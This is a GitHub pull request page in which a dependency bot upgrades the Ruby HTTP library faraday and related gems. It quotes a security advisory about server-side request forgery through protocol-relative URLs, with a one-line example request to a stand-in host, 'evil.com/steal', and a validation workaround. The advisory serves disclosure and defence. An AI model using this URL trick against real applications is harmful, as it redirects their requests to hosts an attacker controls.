Skip to content

🚨 [security] Update faraday 1.10.3 → 2.14.1 (major) #644

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Open
depfu wants to merge 1 commit into
base: develop
Choose a base branch
from
Open

🚨 [security] Update faraday 1.10.3 → 2.14.1 (major) #644

depfu wants to merge 1 commit into from

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Feb 9, 2026

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ faraday (indirect, 1.10.3 → 2.14.1) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end
Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ json_api_client (1.21.0 → 1.23.0) · Repo · Changelog

Release Notes

1.23.0 (from changelog)

  • #412
    • Add support for faraday 2.x
    • Drop support for Ruby < 3.0 (EOL)
    • Drop support for activesupport < 6.0 (EOL)
    • Remove deprecated faraday_middleware and add faraday-gzip (from #402)
  • #400 - Fix for multi-word custom endpoint and route format

1.22.0 (from changelog)

  • #403 - Feature: Use the association options to lookup relationship class
  • #406 - Deep-merge nested additional_params

1.21.1

  • #404 - Expose NotFound json errors
  • #378 - Add the ability to create a subclass of JsonApiClient::Resource to have a modified id method

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 51 commits:

↗️ faraday-net_http (indirect, 1.0.1 → 3.4.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 65 commits:

🆕 faraday-gzip (added, 2.0.1)

🆕 net-http (added, 0.9.1)

🆕 uri (added, 1.1.1)

🆕 zlib (added, 3.2.2)

🗑️ faraday-em_http (removed)

🗑️ faraday-em_synchrony (removed)

🗑️ faraday-excon (removed)

🗑️ faraday-httpclient (removed)

🗑️ faraday-multipart (removed)

🗑️ faraday-net_http_persistent (removed)

🗑️ faraday-patron (removed)

🗑️ faraday-rack (removed)

🗑️ faraday-retry (removed)

🗑️ faraday_middleware (removed)

🗑️ multipart-post (removed)

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes Technical Debt labels Feb 9, 2026
@codecov
Copy link

codecov bot commented Feb 9, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 80.31%. Comparing base (646d8e1) to head (01a95db).

Additional details and impacted files 
@@           Coverage Diff            @@
##           develop     #644   +/-   ##
========================================
  Coverage    80.31%   80.31%           
========================================
  Files           74       74           
  Lines         1128     1128           
========================================
  Hits           906      906           
  Misses         222      222
Flag Coverage Δ
pull_request 80.31% <ø> (ø)
push 80.31% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes Technical Debt

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants